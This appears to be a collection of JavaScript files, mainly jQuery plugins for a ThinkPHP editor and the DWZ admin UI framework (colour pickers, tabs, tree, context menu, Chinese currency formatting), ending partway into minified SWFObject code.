' <a href="###" style="background-color:#00AAFF"> </a>'+
' <a href="###" style="background-color:#0055FF"> </a>'+
' <a href="###" style="background-color:#5500FF"> </a>'+
' <a href="###" style="background-color:#AA00FF"> </a>'+
' <a href="###" style="background-color:#FF007F"> </a>'+
' <a href="###" style="background-color:#FFFFFF"> </a>'+
' <!--第二列-->'+
' <a href="###" style="background-color:#FFE5E5"> </a>'+
' <a href="###" style="background-color:#FFF2D9"> </a>'+
' <a href="###" style="background-color:#FFFFCC"> </a>'+
' <a href="###" style="background-color:#EEFFCC"> </a>'+
' <a href="###" style="background-color:#D9FFE0"> </a>'+
' <a href="###" style="background-color:#D9FFFF"> </a>'+
' <a href="###" style="background-color:#D9F2FF"> </a>'+
' <a href="###" style="background-color:#D9E6FF"> </a>'+
' <a href="###" style="background-color:#E6D9FF"> </a>'+
' <a href="###" style="background-color:#F2D9FF"> </a>'+
' <a href="###" style="background-color:#FFD9ED"> </a>'+
' <a href="###" style="background-color:#D9D9D9"> </a>'+
' <!--第三列-->'+
' <a href="###" style="background-color:#E68A8A"> </a>'+
' <a href="###" style="background-color:#E6C78A"> </a>'+
' <a href="###" style="background-color:#FFFF99"> </a>'+
' <a href="###" style="background-color:#BFE673"> </a>'+
' <a href="###" style="background-color:#99EEA0"> </a>'+
' <a href="###" style="background-color:#A1E6E6"> </a>'+
' <a href="###" style="background-color:#99DDFF"> </a>'+
' <a href="###" style="background-color:#8AA8E6"> </a>'+
' <a href="###" style="background-color:#998AE6"> </a>'+
' <a href="###" style="background-color:#C78AE6"> </a>'+
' <a href="###" style="background-color:#E68AB9"> </a>'+
' <a href="###" style="background-color:#B3B3B3"> </a>'+
' <!--第四列-->'+
' <a href="###" style="background-color:#CC5252"> </a>'+
' <a href="###" style="background-color:#CCA352"> </a>'+
' <a href="###" style="background-color:#D9D957"> </a>'+
' <a href="###" style="background-color:#A7CC39"> </a>'+
' <a href="###" style="background-color:#57CE6D"> </a>'+
' <a href="###" style="background-color:#52CCCC"> </a>'+
' <a href="###" style="background-color:#52A3CC"> </a>'+
' <a href="###" style="background-color:#527ACC"> </a>'+
' <a href="###" style="background-color:#6652CC"> </a>'+
' <a href="###" style="background-color:#A352CC"> </a>'+
' <a href="###" style="background-color:#CC5291"> </a>'+
' <a href="###" style="background-color:#B3B3B3"> </a>'+
' <!--第五列-->'+
' <a href="###" style="background-color:#991F1F"> </a>'+
' <a href="###" style="background-color:#99701F"> </a>'+
' <a href="###" style="background-color:#99991F"> </a>'+
' <a href="###" style="background-color:#59800D"> </a>'+
' <a href="###" style="background-color:#0F9932"> </a>'+
' <a href="###" style="background-color:#1F9999"> </a>'+
' <a href="###" style="background-color:#1F7099"> </a>'+
' <a href="###" style="background-color:#1F4799"> </a>'+
' <a href="###" style="background-color:#471F99"> </a>'+
' <a href="###" style="background-color:#701F99"> </a>'+
' <a href="###" style="background-color:#991F5E"> </a>'+
' <a href="###" style="background-color:#404040"> </a>'+
' <!--第六列-->'+
' <a href="###" style="background-color:#660000"> </a>'+
' <a href="###" style="background-color:#664B14"> </a>'+
' <a href="###" style="background-color:#666600"> </a>'+
' <a href="###" style="background-color:#3B5900"> </a>'+
' <a href="###" style="background-color:#005916"> </a>'+
' <a href="###" style="background-color:#146666"> </a>'+
' <a href="###" style="background-color:#144B66"> </a>'+
' <a href="###" style="background-color:#143066"> </a>'+
' <a href="###" style="background-color:#220066"> </a>'+
' <a href="###" style="background-color:#301466"> </a>'+
' <a href="###" style="background-color:#66143F"> </a>'+
' <a href="###" style="background-color:#000000"> </a>'+
' </div>'+
'</div>'
),
_call = function(e) {
var _value = this.style.backgroundColor;
_self.value= _value;
_self.exec();
};
$html.find( '>.colorsel a' ).click( _call );
this.createDialog( {
body: $html
} );
}
} );
$.TE.plugin( 'backcolor', {
click: function() {
var _self = this,
$html = $(
'<div class="te_dialog_fontcolor Lovh">'+
' <div class="colorsel">'+
' <!--第一列-->'+
' <a href="###" style="background-color:#FF0000"> </a>'+
' <a href="###" style="background-color:#FFA900"> </a>'+
' <a href="###" style="background-color:#FFFF00"> </a>'+
' <a href="###" style="background-color:#99E600"> </a>'+
' <a href="###" style="background-color:#99E600"> </a>'+
' <a href="###" style="background-color:#00FFFF"> </a>'+
' <a href="###" style="background-color:#00AAFF"> </a>'+
' <a href="###" style="background-color:#0055FF"> </a>'+
' <a href="###" style="background-color:#5500FF"> </a>'+
' <a href="###" style="background-color:#AA00FF"> </a>'+
' <a href="###" style="background-color:#FF007F"> </a>'+
' <a href="###" style="background-color:#FFFFFF"> </a>'+
' <!--第二列-->'+
' <a href="###" style="background-color:#FFE5E5"> </a>'+
' <a href="###" style="background-color:#FFF2D9"> </a>'+
' <a href="###" style="background-color:#FFFFCC"> </a>'+
' <a href="###" style="background-color:#EEFFCC"> </a>'+
' <a href="###" style="background-color:#D9FFE0"> </a>'+
' <a href="###" style="background-color:#D9FFFF"> </a>'+
' <a href="###" style="background-color:#D9F2FF"> </a>'+
' <a href="###" style="background-color:#D9E6FF"> </a>'+
' <a href="###" style="background-color:#E6D9FF"> </a>'+
' <a href="###" style="background-color:#F2D9FF"> </a>'+
' <a href="###" style="background-color:#FFD9ED"> </a>'+
' <a href="###" style="background-color:#D9D9D9"> </a>'+
' <!--第三列-->'+
' <a href="###" style="background-color:#E68A8A"> </a>'+
' <a href="###" style="background-color:#E6C78A"> </a>'+
' <a href="###" style="background-color:#FFFF99"> </a>'+
' <a href="###" style="background-color:#BFE673"> </a>'+
' <a href="###" style="background-color:#99EEA0"> </a>'+
' <a href="###" style="background-color:#A1E6E6"> </a>'+
' <a href="###" style="background-color:#99DDFF"> </a>'+
' <a href="###" style="background-color:#8AA8E6"> </a>'+
' <a href="###" style="background-color:#998AE6"> </a>'+
' <a href="###" style="background-color:#C78AE6"> </a>'+
' <a href="###" style="background-color:#E68AB9"> </a>'+
' <a href="###" style="background-color:#B3B3B3"> </a>'+
' <!--第四列-->'+
' <a href="###" style="background-color:#CC5252"> </a>'+
' <a href="###" style="background-color:#CCA352"> </a>'+
' <a href="###" style="background-color:#D9D957"> </a>'+
' <a href="###" style="background-color:#A7CC39"> </a>'+
' <a href="###" style="background-color:#57CE6D"> </a>'+
' <a href="###" style="background-color:#52CCCC"> </a>'+
' <a href="###" style="background-color:#52A3CC"> </a>'+
' <a href="###" style="background-color:#527ACC"> </a>'+
' <a href="###" style="background-color:#6652CC"> </a>'+
' <a href="###" style="background-color:#A352CC"> </a>'+
' <a href="###" style="background-color:#CC5291"> </a>'+
' <a href="###" style="background-color:#B3B3B3"> </a>'+
' <!--第五列-->'+
' <a href="###" style="background-color:#991F1F"> </a>'+
' <a href="###" style="background-color:#99701F"> </a>'+
' <a href="###" style="background-color:#99991F"> </a>'+
' <a href="###" style="background-color:#59800D"> </a>'+
' <a href="###" style="background-color:#0F9932"> </a>'+
' <a href="###" style="background-color:#1F9999"> </a>'+
' <a href="###" style="background-color:#1F7099"> </a>'+
' <a href="###" style="background-color:#1F4799"> </a>'+
' <a href="###" style="background-color:#471F99"> </a>'+
' <a href="###" style="background-color:#701F99"> </a>'+
' <a href="###" style="background-color:#991F5E"> </a>'+
' <a href="###" style="background-color:#404040"> </a>'+
' <!--第六列-->'+
' <a href="###" style="background-color:#660000"> </a>'+
' <a href="###" style="background-color:#664B14"> </a>'+
' <a href="###" style="background-color:#666600"> </a>'+
' <a href="###" style="background-color:#3B5900"> </a>'+
' <a href="###" style="background-color:#005916"> </a>'+
' <a href="###" style="background-color:#146666"> </a>'+
' <a href="###" style="background-color:#144B66"> </a>'+
' <a href="###" style="background-color:#143066"> </a>'+
' <a href="###" style="background-color:#220066"> </a>'+
' <a href="###" style="background-color:#301466"> </a>'+
' <a href="###" style="background-color:#66143F"> </a>'+
' <a href="###" style="background-color:#000000"> </a>'+
' </div>'+
'</div>'
),
_call = function(e) {
var _value = this.style.backgroundColor;
_self.value= _value;
_self.exec();
};
$html.find( '>.colorsel a' ).click( _call );
this.createDialog( {
body: $html
} );
}
} );
$.TE.plugin( 'about', {
'click': function() {
var _self = this,
$html = $(
'<div class="te_dialog_about Lovh">'+
' <div class="seltab">'+
' <div class="links Lovh">'+
' <a href="###" class="cstyle">关于ThinkEditor</a>'+
' </div>'+
' <div class="bdb"> </div>'+
' </div>'+
' <div class="centbox">'+
' <div class="aboutcontent">'+
' <p>ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性,经历了三年多发展的同时,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,众多的典型案例确保可以稳定用于商业以及门户级的开发。</p>'+
' <p>ThinkPHP借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,采用单一入口模式等,融合了Struts的Action思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,封装了CURD和一些常用操作,在项目配置、类库导入、模版引擎、查询语言、自动验证、视图模型、项目编译、缓存机制、SEO支持、分布式数据库、多数据库连接和切换、认证机制和扩展性方面均有独特的表现。</p>'+
' <p>使用ThinkPHP,你可以更方便和快捷的开发和部署应用。当然不仅仅是企业级应用,任何PHP应用开发都可以从ThinkPHP的简单和快速的特性中受益。ThinkPHP本身具有很多的原创特性,并且倡导大道至简,开发由我的开发理念,用最少的代码完成更多的功能,宗旨就是让WEB应用开发更简单、更快速。为此ThinkPHP会不断吸收和融入更好的技术以保证其新鲜和活力,提供WEB应用开发的最佳实践!</p>'+
' <p>ThinkPHP遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。 </p>'+
' </div>'+
' </div>'+
' <div class="btnarea">'+
' <input type="button" value="关闭" class="te_close" />'+
' </div>'+
'</div>'
);
_self.createDialog( {
body: $html
} );
}
} );
//$.TE.plugin( 'eq', {
// 'click': function() {
// var _self = this,
// $html = $(
// '<div class="te_dialog_about Lovh">'+
// ' <div class="seltab">'+
// ' <div class="links Lovh">'+
// ' <a href="###" class="cstyle">关于ThinkEditor</a>'+
// ' </div>'+
// ' <div class="bdb"> </div>'+
// ' </div>'+
// ' <div class="centbox">'+
// ' <div class="eqcontent">'+
// ' <label for="eq_name">名称</label>'+
// ' <input type="text" name="eq_name" id="eq_name"/></br>'+
// ' <label for="eq_name">值</label>'+
// ' <input type="text" name="eq_val" id="eq_val"/></br>'+
// ' <textarea name="eq_content" id="eq_content" cols="30" rows="2"></textarea>'+
// ' </div>'+
// ' </div>'+
// ' <div class="btnarea">'+
// ' <input type="button" value="确定" class="te_ok" />'+
// ' <input type="button" value="关闭" class="te_close" />'+
// ' </div>'+
// '</div>'
// );
//
// _self.createDialog({
// body: $html,
// ok : function(){
// var _name = $html.find('#eq_name').val(),
// _val = $html.find('#eq_val').val(),
// _content = $html.find('#eq_content').val(),
// _html = '';
// _html += '<eq name="' + _name +'" value="' + _val +'">'+
// _content +
// '</eq>';
// _self.editor.pasteHTML( _html );
// _self.hideDialog();
// }
// });
//
// }
//});
} )( jQuery );
|
JavaScript
|
/**
* @author ZhangHuihua@msn.com
*
*/
(function($){
$.fn.extend({
/**
* options: reverse[true, false], eventType[click, hover], currentIndex[default index 0]
* stTab[tabs selector], stTabPanel[tab panel selector]
* ajaxClass[ajax load], closeClass[close tab]
*/
tabs: function (options){
var op = $.extend({reverse:false, eventType:"click", currentIndex:0, stTabHeader:"> .tabsHeader", stTab:">.tabsHeaderContent>ul", stTabPanel:"> .tabsContent", ajaxClass:"j-ajax", closeClass:"close", prevClass:"tabsLeft", nextClass:"tabsRight"}, options);
return this.each(function(){
initTab($(this));
});
function initTab(jT){
var jSelector = jT.add($("> *", jT));
var jTabHeader = $(op.stTabHeader, jSelector);
var jTabs = $(op.stTab + " li", jTabHeader);
var jGroups = $(op.stTabPanel + " > *", jSelector);
jTabs.unbind().find("a").unbind();
jTabHeader.find("."+op.prevClass).unbind();
jTabHeader.find("."+op.nextClass).unbind();
jTabs.each(function(iTabIndex){
if (op.currentIndex == iTabIndex) $(this).addClass("selected");
else $(this).removeClass("selected");
if (op.eventType == "hover") $(this).hover(function(event){switchTab(jT, iTabIndex)});
else $(this).click(function(event){switchTab(jT, iTabIndex)});
$("a", this).each(function(){
if ($(this).hasClass(op.ajaxClass)) {
$(this).click(function(event){
var jGroup = jGroups.eq(iTabIndex);
if (this.href && !jGroup.attr("loaded")) jGroup.loadUrl(this.href,{},function(){
jGroup.find("[layoutH]").layoutH();
jGroup.attr("loaded",true);
});
event.preventDefault();
});
} else if ($(this).hasClass(op.closeClass)) {
$(this).click(function(event){
jTabs.eq(iTabIndex).remove();
jGroups.eq(iTabIndex).remove();
if (iTabIndex == op.currentIndex) {
op.currentIndex = (iTabIndex+1 < jTabs.size()) ? iTabIndex : iTabIndex - 1;
} else if (iTabIndex < op.currentIndex){
op.currentIndex = iTabIndex;
}
initTab(jT);
return false;
});
}
});
});
switchTab(jT, op.currentIndex);
}
function switchTab(jT, iTabIndex){
var jSelector = jT.add($("> *", jT));
var jTabHeader = $(op.stTabHeader, jSelector);
var jTabs = $(op.stTab + " li", jTabHeader);
var jGroups = $(op.stTabPanel + " > *", jSelector);
var jTab = jTabs.eq(iTabIndex);
var jGroup = jGroups.eq(iTabIndex);
if (op.reverse && (jTab.hasClass("selected") )) {
jTabs.removeClass("selected");
jGroups.hide();
} else {
op.currentIndex = iTabIndex;
jTabs.removeClass("selected");
jTab.addClass("selected");
jGroups.hide().eq(op.currentIndex).show();
}
if (!jGroup.attr("inited")){
jGroup.attr("inited", 1000).find("input[type=text]").filter("[alt]").inputAlert();
}
}
}
});
})(jQuery);
|
JavaScript
|
/**
* @author Roger Wu
* @version 1.0
* added extend property oncheck
*/
(function($){
$.extend($.fn, {
jTree:function(options) {
var op = $.extend({checkFn:null, selected:"selected", exp:"expandable", coll:"collapsable", firstExp:"first_expandable", firstColl:"first_collapsable", lastExp:"last_expandable", lastColl:"last_collapsable", folderExp:"folder_expandable", folderColl:"folder_collapsable", endExp:"end_expandable", endColl:"end_collapsable",file:"file",ck:"checked", unck:"unchecked"}, options);
return this.each(function(){
var $this = $(this);
var cnum = $this.children().length;
$(">li", $this).each(function(){
var $li = $(this);
var first = $li.prev()[0]?false:true;
var last = $li.next()[0]?false:true;
$li.genTree({
icon:$this.hasClass("treeFolder"),
ckbox:$this.hasClass("treeCheck"),
options: op,
level: 0,
exp:(cnum>1?(first?op.firstExp:(last?op.lastExp:op.exp)):op.endExp),
coll:(cnum>1?(first?op.firstColl:(last?op.lastColl:op.coll)):op.endColl),
showSub:(!$this.hasClass("collapse") && ($this.hasClass("expand") || (cnum>1?(first?true:false):true))),
isLast:(cnum>1?(last?true:false):true)
});
});
setTimeout(function(){
if($this.hasClass("treeCheck")){
var checkFn = eval($this.attr("oncheck"));
if(checkFn && $.isFunction(checkFn)) {
$("div.ckbox", $this).each(function(){
var ckbox = $(this);
ckbox.click(function(){
var checked = $(ckbox).hasClass("checked");
var items = [];
if(checked){
var tnode = $(ckbox).parent().parent();
var boxes = $("input", tnode);
if(boxes.size() > 1) {
$(boxes).each(function(){
items[items.length] = {name:$(this).attr("name"), value:$(this).val(), text:$(this).attr("text")};
});
} else {
items = {name:boxes.attr("name"), value:boxes.val(), text:boxes.attr("text")};
}
}
checkFn({checked:checked, items:items});
});
});
}
}
$("a", $this).click(function(event){
$("div." + op.selected, $this).removeClass(op.selected);
var parent = $(this).parent().addClass(op.selected);
var $li = $(this).parents("li:first"), sTarget = $li.attr("target");
if (sTarget) {
if ($("#"+sTarget, $this).size() == 0) {
$this.prepend('<input id="'+sTarget+'" type="hidden" />');
}
$("#"+sTarget, $this).val($li.attr("rel"));
}
$(".ckbox",parent).trigger("click");
event.stopPropagation();
$(document).trigger("click");
if (!$(this).attr("target")) return false;
});
},1);
});
},
subTree:function(op, level) {
return this.each(function(){
$(">li", this).each(function(){
var $this = $(this);
var isLast = ($this.next()[0]?false:true);
$this.genTree({
icon:op.icon,
ckbox:op.ckbox,
exp:isLast?op.options.lastExp:op.options.exp,
coll:isLast?op.options.lastColl:op.options.coll,
options:op.options,
level:level,
space:isLast?null:op.space,
showSub:op.showSub,
isLast:isLast
});
});
});
},
genTree:function(options) {
var op = $.extend({icon:options.icon,ckbox:options.ckbox,exp:"", coll:"", showSub:false, level:0, options:null, isLast:false}, options);
return this.each(function(){
var node = $(this);
var tree = $(">ul", node);
var parent = node.parent().prev();
var checked = 'unchecked';
if(op.ckbox) {
if($(">.checked",parent).size() > 0) checked = 'checked';
}
if (tree.size()>0) {
node.children(":first").wrap("<div></div>");
$(">div", node).prepend("<div class='" + (op.showSub ? op.coll : op.exp) + "'></div>"+(op.ckbox ?"<div class='ckbox " + checked + "'></div>":"")+(op.icon?"<div class='"+ (op.showSub ? op.options.folderColl : op.options.folderExp) +"'></div>":""));
op.showSub ? tree.show() : tree.hide();
$(">div>div:first,>div>a", node).click(function(){
var $fnode = $(">li:first",tree);
if($fnode.children(":first").isTag('a')) tree.subTree(op, op.level + 1);
var $this = $(this);
var isA = $this.isTag('a');
var $this = isA?$(">div>div", node).eq(op.level):$this;
if (!isA || tree.is(":hidden")) {
$this.toggleClass(op.exp).toggleClass(op.coll);
if (op.icon) {
$(">div>div:last", node).toggleClass(op.options.folderExp).toggleClass(op.options.folderColl);
}
}
(tree.is(":hidden"))?tree.slideDown("fast"):(isA?"":tree.slideUp("fast"));
return false;
});
addSpace(op.level, node);
if(op.showSub) tree.subTree(op, op.level + 1);
} else {
node.children().wrap("<div></div>");
$(">div", node).prepend("<div class='node'></div>"+(op.ckbox?"<div class='ckbox "+checked+"'></div>":"")+(op.icon?"<div class='file'></div>":""));
addSpace(op.level, node);
if(op.isLast)$(node).addClass("last");
}
if (op.ckbox) node._check(op);
$(">div",node).mouseover(function(){
$(this).addClass("hover");
}).mouseout(function(){
$(this).removeClass("hover");
});
if($.browser.msie)
$(">div",node).click(function(){
$("a", this).trigger("click");
return false;
});
});
function addSpace(level,node) {
if (level > 0) {
var parent = node.parent().parent();
var space = !parent.next()[0]?"indent":"line";
var plist = "<div class='" + space + "'></div>";
if (level > 1) {
var next = $(">div>div", parent).filter(":first");
var prev = "";
while(level > 1){
prev = prev + "<div class='" + next.attr("class") + "'></div>";
next = next.next();
level--;
}
plist = prev + plist;
}
$(">div", node).prepend(plist);
}
}
},
_check:function(op) {
var node = $(this);
var ckbox = $(">div>.ckbox", node);
var $input = node.find("a");
var tname = $input.attr("tname"), tvalue = $input.attr("tvalue");
var attrs = "text='"+$input.text()+"' ";
if (tname) attrs += "name='"+tname+"' ";
if (tvalue) attrs += "value='"+tvalue+"' ";
ckbox.append("<input type='checkbox' style='display:none;' " + attrs + "/>").click(function(){
var cked = ckbox.hasClass("checked");
var aClass = cked?"unchecked":"checked";
var rClass = cked?"checked":"unchecked";
ckbox.removeClass(rClass).removeClass(!cked?"indeterminate":"").addClass(aClass);
$("input", ckbox).attr("checked", !cked);
$(">ul", node).find("li").each(function(){
var box = $("div.ckbox", this);
box.removeClass(rClass).removeClass(!cked?"indeterminate":"").addClass(aClass)
.find("input").attr("checked", !cked);
});
$(node)._checkParent();
return false;
});
var cAttr = $input.attr("checked") || false;
if (cAttr) {
ckbox.find("input").attr("checked", true);
ckbox.removeClass("unchecked").addClass("checked");
$(node)._checkParent();
}
},
_checkParent:function(){
if($(this).parent().hasClass("tree")) return;
var parent = $(this).parent().parent();
var stree = $(">ul", parent);
var ckbox = stree.find(">li>a").size()+stree.find("div.ckbox").size();
var ckboxed = stree.find("div.checked").size();
var aClass = (ckboxed==ckbox?"checked":(ckboxed!=0?"indeterminate":"unchecked"));
var rClass = (ckboxed==ckbox?"indeterminate":(ckboxed!=0?"checked":"indeterminate"));
$(">div>.ckbox", parent).removeClass("unchecked").removeClass("checked").removeClass(rClass).addClass(aClass);
var $checkbox = $(":checkbox", parent);
if (aClass == "checked") $checkbox.attr("checked","checked");
else if (aClass == "unchecked") $checkbox.removeAttr("checked");
parent._checkParent();
}
});
})(jQuery);
|
JavaScript
|
/**
* @author zhanghuihua@msn.com
*/
(function($){
var menu, shadow, hash;
$.fn.extend({
contextMenu: function(id, options){
var op = $.extend({
shadow : true,
bindings:{},
ctrSub:null
}, options
);
if (!menu) {
menu = $('<div id="contextmenu"></div>').appendTo('body').hide();
}
if (!shadow) {
shadow = $('<div id="contextmenuShadow"></div>').appendTo('body').hide();
}
hash = hash || [];
hash.push({
id : id,
shadow: op.shadow,
bindings: op.bindings || {},
ctrSub: op.ctrSub
});
var index = hash.length - 1;
$(this).bind('contextmenu', function(e) {
display(index, this, e, op);
return false;
});
return this;
}
});
function display(index, trigger, e, options) {
var cur = hash[index];
var content = $(DWZ.frag[cur.id]);
content.find('li').hoverClass();
// Send the content to the menu
menu.html(content);
$.each(cur.bindings, function(id, func) {
$("[rel='"+id+"']", menu).bind('click', function(e) {
hide();
func($(trigger), $("#"+cur.id));
});
});
var posX = e.pageX;
var posY = e.pageY;
if ($(window).width() < posX + menu.width()) posX -= menu.width();
if ($(window).height() < posY + menu.height()) posY -= menu.height();
menu.css({'left':posX,'top':posY}).show();
if (cur.shadow) shadow.css({width:menu.width(),height:menu.height(),left:posX+3,top:posY+3}).show();
$(document).one('click', hide);
if ($.isFunction(cur.ctrSub)) {cur.ctrSub($(trigger), $("#"+cur.id));}
}
function hide() {
menu.hide();
shadow.hide();
}
})(jQuery);
|
JavaScript
|
(function(){
function formatCurrency(num) {
num = num.toString().replace(/\$|\,/g,'');
if(isNaN(num)) {num = "0";}
var sign = (num == (num = Math.abs(num)));
num = Math.floor(num*100+0.50000000001);
var cents = num%100;
num = Math.floor(num/100).toString();
if(cents<10) {cents = "0" + cents;}
for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++){
num = num.substring(0,num.length-(4*i+3))+','+num.substring(num.length-(4*i+3));
}
return (((sign)?'':'-') + num + '.' + cents);
}
function parseCurrency(str) {
if (!str) return 0;
str = str.replace(',', '');
return $.isNumeric(str) ? parseFloat(str) : 0;
}
/**
* 数字转中文大写
*/
function amountInWords(dValue, maxDec){
// 验证输入金额数值或数值字符串:
dValue = dValue.toString().replace(/,/g, ""); dValue = dValue.replace(/^0+/, ""); // 金额数值转字符、移除逗号、移除前导零
if (dValue == "") { return "零元整"; } // (错误:金额为空!)
else if (isNaN(dValue)) { return "错误:金额不是合法的数值!"; }
var minus = ""; // 负数的符号“-”的大写:“负”字。可自定义字符,如“(负)”。
var CN_SYMBOL = ""; // 币种名称(如“人民币”,默认空)
if (dValue.length > 1) {
if (dValue.indexOf('-') == 0) { dValue = dValue.replace("-", ""); minus = "负"; } // 处理负数符号“-”
if (dValue.indexOf('+') == 0) { dValue = dValue.replace("+", ""); } // 处理前导正数符号“+”(无实际意义)
}
// 变量定义:
var vInt = "", vDec = ""; // 字符串:金额的整数部分、小数部分
var resAIW; // 字符串:要输出的结果
var parts; // 数组(整数部分.小数部分),length=1时则仅为整数。
var digits, radices, bigRadices, decimals; // 数组:数字(0~9——零~玖);基(十进制记数系统中每个数字位的基是10——拾,佰,仟);大基(万,亿,兆,京,垓,杼,穰,沟,涧,正);辅币(元以下,角/分/厘/毫/丝)。
var zeroCount; // 零计数
var i, p, d; // 循环因子;前一位数字;当前位数字。
var quotient, modulus; // 整数部分计算用:商数、模数。
// 金额数值转换为字符,分割整数部分和小数部分:整数、小数分开来搞(小数部分有可能四舍五入后对整数部分有进位)。
var NoneDecLen = (typeof(maxDec) == "undefined" || maxDec == null || Number(maxDec) < 0 || Number(maxDec) > 5); // 是否未指定有效小数位(true/false)
parts = dValue.split('.'); // 数组赋值:(整数部分.小数部分),Array的length=1则仅为整数。
if (parts.length > 1) {
vInt = parts[0]; vDec = parts[1]; // 变量赋值:金额的整数部分、小数部分
if(NoneDecLen) { maxDec = vDec.length > 5 ? 5 : vDec.length; } // 未指定有效小数位参数值时,自动取实际小数位长但不超5。
var rDec = Number("0." + vDec);
rDec *= Math.pow(10, maxDec); rDec = Math.round(Math.abs(rDec)); rDec /= Math.pow(10, maxDec); // 小数四舍五入
var aIntDec = rDec.toString().split('.');
if(Number(aIntDec[0]) == 1) { vInt = (Number(vInt) + 1).toString(); } // 小数部分四舍五入后有可能向整数部分的个位进位(值1)
if(aIntDec.length > 1) { vDec = aIntDec[1]; } else { vDec = ""; }
}
else { vInt = dValue; vDec = ""; if(NoneDecLen) { maxDec = 0; } }
if(vInt.length > 44) { return "错误:金额值太大了!整数位长【" + vInt.length.toString() + "】超过了上限——44位/千正/10^43(注:1正=1万涧=1亿亿亿亿亿,10^40)!"; }
// 准备各字符数组 Prepare the characters corresponding to the digits:
digits = new Array("零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖");
radices = new Array("", "拾", "佰", "仟"); // 拾,佰,仟
bigRadices = new Array("", "万", "亿", "兆", "京", "垓", "杼", "穰" ,"沟", "涧", "正");
decimals = new Array("角", "分", "厘", "毫", "丝");
resAIW = ""; // 开始处理
// 处理整数部分(如果有)
if (Number(vInt) > 0) {
zeroCount = 0;
for (i = 0; i < vInt.length; i++) {
p = vInt.length - i - 1; d = vInt.substr(i, 1); quotient = p / 4; modulus = p % 4;
if (d == "0") { zeroCount++; }
else {
if (zeroCount > 0) { resAIW += digits[0]; }
zeroCount = 0; resAIW += digits[Number(d)] + radices[modulus];
}
if (modulus == 0 && zeroCount < 4) { resAIW += bigRadices[quotient]; }
}
resAIW += "元";
}
// 处理小数部分(如果有)
for (i = 0; i < vDec.length; i++) { d = vDec.substr(i, 1); if (d != "0") { resAIW += digits[Number(d)] + decimals[i]; } }
// 处理结果
if (resAIW == "") { resAIW = "零" + "元"; } // 零元
if (vDec == "") { resAIW += "整"; } // ...元整
resAIW = CN_SYMBOL + minus + resAIW; // 人民币/负......元角分/整
return resAIW;
}
Number.prototype.formatCurrency = function(format) {
return formatCurrency(this);
};
Number.prototype.amountInWords = function(maxDec) {
return amountInWords(this, maxDec);
}
String.prototype.parseCurrency = function(format) {
return parseCurrency(this);
};
String.prototype.amountInWords = function(maxDec) {
var dValue = parseCurrency(this);
return amountInWords(dValue, maxDec);
}
})();
|
JavaScript
|
/**
* Theme Plugins
* @author ZhangHuihua@msn.com
*/
(function($){
$.fn.extend({
cssTable: function(options){
return this.each(function(){
var $this = $(this);
var $trs = $this.find('tbody>tr');
var $grid = $this.parent(); // table
var nowrap = $this.hasClass("nowrap");
$trs.hoverClass("hover").each(function(index){
var $tr = $(this);
if (!nowrap && index % 2 == 1) $tr.addClass("trbg");
$tr.click(function(){
$trs.filter(".selected").removeClass("selected");
$tr.addClass("selected");
var sTarget = $tr.attr("target");
if (sTarget) {
if ($("#"+sTarget, $grid).size() == 0) {
$grid.prepend('<input id="'+sTarget+'" type="hidden" />');
}
$("#"+sTarget, $grid).val($tr.attr("rel"));
}
});
});
$this.find("thead [orderField]").orderBy({
targetType: $this.attr("targetType"),
rel:$this.attr("rel"),
asc: $this.attr("asc") || "asc",
desc: $this.attr("desc") || "desc"
});
});
}
});
})(jQuery);
|
JavaScript
|
/**
* @author zhanghuihua@msn.com
*/
(function($){
$.fn.navMenu = function(){
return this.each(function(){
var $box = $(this);
$box.find("li>a").click(function(){
var $a = $(this);
$.post($a.attr("href"), {}, function(html){
$("#sidebar").find(".accordion").remove().end().append(html).initUI();
$box.find("li").removeClass("selected");
$a.parent().addClass("selected");
navTab.closeAllTab();
});
return false;
});
});
}
$.fn.switchEnv = function(){
var op = {cities$:">ul>li", boxTitle$:">a>span"};
return this.each(function(){
var $this = $(this);
$this.click(function(){
if ($this.hasClass("selected")){
_hide($this);
} else {
_show($this);
}
return false;
});
$this.find(op.cities$).click(function(){
var $li = $(this);
$.post($li.find(">a").attr("href"), {}, function(html){
_hide($this);
$this.find(op.boxTitle$).html($li.find(">a").html());
navTab.closeAllTab();
$("#sidebar").find(".accordion").remove().end().append(html).initUI();
});
return false;
});
});
}
function _show($box){
$box.addClass("selected");
$(document).bind("click",{box:$box}, _handler);
}
function _hide($box){
$box.removeClass("selected");
$(document).unbind("click", _handler);
}
function _handler(event){
_hide(event.data.box);
}
})(jQuery);
|
JavaScript
|
/*
SWFObject v2.2 <http://code.google.com/p/swfobject/>
is released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
*/
;var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;
if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;
X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);
